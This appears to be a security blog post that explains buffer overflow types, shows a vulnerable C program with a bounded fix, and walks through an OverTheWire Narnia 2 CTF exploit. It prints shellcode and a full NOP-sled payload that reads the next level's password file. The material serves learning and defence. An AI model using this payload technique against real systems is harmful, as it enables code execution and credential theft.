Post

Buffer overflow vulnerability

Buffer overflow vulnerability

Managing a memory in low level system is crucial. If not handle properly it can cause memory leaks, which may disrupt the performance system and create a security risks.

Hacker can also exploit memory related vulnerabilities such as buffer overflows. Buffer Overflow Vulnerability occurs when a program writes more data into a buffer than it can hold, causing adjacent memory to be overwritten. This can lead to application crashes, data corruption, or even the execution of arbitrary code.

📝 Types of attack

  • Stack-based buffer overflow
    overloads a buffer on the stack, exploiting it to change the return address and execute arbitrary code
  • Heap-based buffer overflow
    happens when attacker overflow the buffer on the heap, which can lead to exploiting a vulnerability of memory management and causes arbitrary executable code to run
  • Format string vulnerability
    manipulate a program that uses functions like printf with format string argument, leads to overwriting of adjacent memory locations with arbitrary data.
  • Integer overflow
    assigned value that exceeds an integer’s data type capacity (8-bit to 64-bit) is assigned to it, causing buffer overflows and memory corruption.
  • Off-by-one error (OBOE)
    programming mistake that arises when a program allocates a buffer with a size that is one byte smaller than the actual data that needs to be written. This leads to data overflowing into adjacent memory locations, allowing attackers to execute malicious code.

đź“‚ Exploitation example

Let’s create a simple program with unsafe format string in file main.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[10];  // small fixed-size buffer

    // unsafe: no bounds checking
    strcpy(buffer, input);

    printf("Buffer content: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }

    vulnerable(argv[1]);
    return 0;
}

🚀 Build and run

1
2
$ gcc main.c -o main
$ ./main AAAAAAAAAAAAAAAAAAAAA

segfault

Buffer can only hold 10 bytes but strcpy() copies everything extra data overwrites nearby memory on the stack. This can cause a corrupted variabled and program crash (segmentation fault).

Use bounded function to safer version:

1
2
3
4
5
6
7
8
9
void safe(char *input) {
    char buffer[10];

    // safe: limit copy size
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[9] = '\0';  // ensure null termination

    printf("Buffer content: %s\n", buffer);
}

🧑‍💻 Practice

Let’s practice with simple write up binary exploit ctf from OverTheWire Narnia 2 to learn more.

First let’s check the source code in path /narnia/narnia2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}

The program is a simple operation of copying a command-line argument to a buffer and printing it. If the argument is larger than 128 bytes, it will overflow the buffer and string size can be adjust to precisely overwrite the return address.

Let’s disassemble the binary and view the memory.

disassembly

There is a buffer of 0x80 bytes that is written using the strcpy function, this could potentially lead to a buffer overflow vulnerability. Let’s try passing a large string more than 0x80 bytes as the command-line argument and exploit the return address.

1
python3 -c "import sys;sys.stdout.buffer.write(b'B' * 0x90)"

offset

Now we have our offset from EIP that is 0x42424242 and the size is more than 0x80. But we still doesnt payload to exploit so we’ll be use a shellcode from exploit database, link: https://www.exploit-db.com/shellcodes/49768

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

Next set a new breakpoint at address 0x080491b9 from strcpy function and check the stack memory, we can find the address of the buffer.

view memory

After hitting the breakpoint, we can view address the buffer 0xffffd5bf. Now let’s merge our shellcode, the shellcode we create above is only 74 bytes and the remaining can be filled with the NOP sled (0x90) and address of buffer 0xffffd5bf.

1
$(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*58+b'\x31\xC0\xB0\x31\xCD\x80\x89\xC3\x89\xC1\x31\xC0\xB0\x46\xCD\x80\x31\xC0\x99\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x6E\x69\x61\x33\x68\x2F\x6E\x61\x72\x68\x70\x61\x73\x73\x68\x6E\x69\x61\x5F\x68\x2F\x6E\x61\x72\x68\x2F\x65\x74\x63\x89\xE1\x50\x51\x53\x89\xE1\xB0\x0B\xCD\x80'+b'\xbf\xd5\xff\xff')")

flag

🛡️ Mitigation

Buffer overflow continue being an serious security threat, even mature system like Linux Kernel demonstrated by vulnerabilities like CVE-2023-0179.

Effective mitigation involves secure coding practices such as input validation, safe memory handling, and proper buffer size management.

Additionally, implementing runtime protections such as data execution prevention (DEP), address space layout randomization (ASLR), stack canaries, and and heap security mechanisms to reduce the risk of exploitation

This post is licensed under CC BY 4.0 by the author.